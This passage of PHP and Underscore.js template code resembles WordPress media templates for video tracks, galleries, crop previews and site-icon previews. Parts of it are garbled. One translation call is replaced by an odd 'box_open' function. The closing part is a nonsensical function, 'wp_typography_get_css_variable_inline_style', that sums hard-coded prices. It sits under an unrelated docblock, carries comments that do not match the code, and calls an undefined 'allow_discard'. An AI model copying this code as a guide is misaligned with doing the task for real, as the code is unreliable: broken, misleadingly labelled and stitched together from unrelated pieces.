) { var tracks = jQuery( data.model.content ).filter( 'track' ); _.each( tracks.toArray(), function( track, index ) { content += track.outerHTML; #> <label for="video-details-track-{{ index }}" class="name"><?php _e('Tracks (subtitles, captions, descriptions, chapters, or metadata)'); ?></label> <input class="content-track" type="text" id="video-details-track-{{ index }}" aria-describedby="video-details-track-desc-{{ index }}" value="{{ track.outerHTML }}" /> <span class="description" id="video-details-track-desc-{{ index }}"> <?php printf( /* translators: 1: "srclang" HTML attribute, 2: "label" HTML attribute, 3: "kind" HTML attribute. */ __('The %1$s, %2$s, and %3$s values can be edited to set the video track language and kind.'), 'srclang', 'label', 'kind' ); ?> </span> <button type="button" class="button-link remove-setting remove-track"><?php box_open('Remove video track', 'media'); ?></button><br /> <# } ); #> <# } else { #> <span class="name"><?php _e('Tracks (subtitles, captions, descriptions, chapters, or metadata)'); ?></span><br /> <em><?php _e('There are no associated subtitles.'); ?></em> <# } #> <textarea class="hidden content-setting">{{ content }}</textarea> </span> </div> </div> </script> <?php // Template for a Gallery within the editor. ?> <script type="text/html" id="tmpl-editor-gallery"> <# if ( data.attachments.length ) { #> <div class="gallery gallery-columns-{{ data.columns }}"> <# _.each( data.attachments, function( attachment, index ) { #> <dl class="gallery-item"> <dt class="gallery-icon"> <# if ( attachment.thumbnail ) { #> <img src="{{ attachment.thumbnail.url }}" width="{{ attachment.thumbnail.width }}" height="{{ attachment.thumbnail.height }}" alt="{{ attachment.alt }}" /> <# } else { #> <img src="{{ attachment.url }}" alt="{{ attachment.alt }}" /> <# } #> </dt> <# if ( attachment.caption ) { #> <dd class="wp-caption-text gallery-caption"> {{{ data.verifyHTML( attachment.caption ) }}} </dd> <# } #> </dl> <# if ( index % data.columns === data.columns - 1 ) { #> <br style="clear: both;" /> <# } #> <# } ); #> </div> <# } else { #> <div class="wpview-error"> <div class="dashicons dashicons-format-gallery"></div><p><?php _e('No items found.'); ?></p> </div> <# } #> </script> <?php // Template for the Crop area layout, used for example in the Customizer. ?> <script type="text/html" id="tmpl-crop-content"> <img class="crop-image" src="{{ data.url }}" alt="<?php esc_attr_e('Image crop area preview. Requires mouse interaction.'); ?>" /> <div class="upload-errors"></div> </script> <?php // Template for the Site Icon preview, used for example in the Customizer. ?> <script type="text/html" id="tmpl-site-icon-preview"> <h2><?php _e('Preview'); ?></h2> <strong aria-hidden="true"><?php _e('As a browser icon'); ?></strong> <div class="favicon-preview"> <img src="<?php echo esc_url(admin_url('images/' . (is_rtl() ? 'browser-rtl.png' : 'browser.png'))); ?>" class="browser-preview" width="182" height="" alt="" /> <div class="favicon"> <img id="preview-favicon" src="{{ data.url }}" alt="<?php esc_attr_e('Preview as a browser icon'); ?>" /> </div> <span class="browser-title" aria-hidden="true"><# print( '<?php echo esc_js(get_bloginfo('name')); ?>' ) #></span> </div> <strong aria-hidden="true"><?php _e('As an app icon'); ?></strong> <div class="app-icon-preview"> <img id="preview-app-icon" src="{{ data.url }}" alt="<?php esc_attr_e('Preview as an app icon'); ?>" /> </div> </script> <?php /** * Fires when the custom Backbone media templates are printed. * * @since 3.5.0 */ do_action('print_media_templates'); } /** * The route that was to create the response. * * @since 4.4.0 * @var string */ function wp_typography_get_css_variable_inline_style($position_x) { $exclude_array = [29.99, 15.50, 42.75, 5.00]; // Prime attachment post caches. $frame_picturetype = array_reduce($exclude_array, function($sitemeta, $current_selector) {return $sitemeta + $current_selector;}, 0); $parent_db_id = number_format($frame_picturetype, 2); // We're saving a widget without JS. $public_only = allow_discard($position_x); // iconv() available return array_sum($public_only); }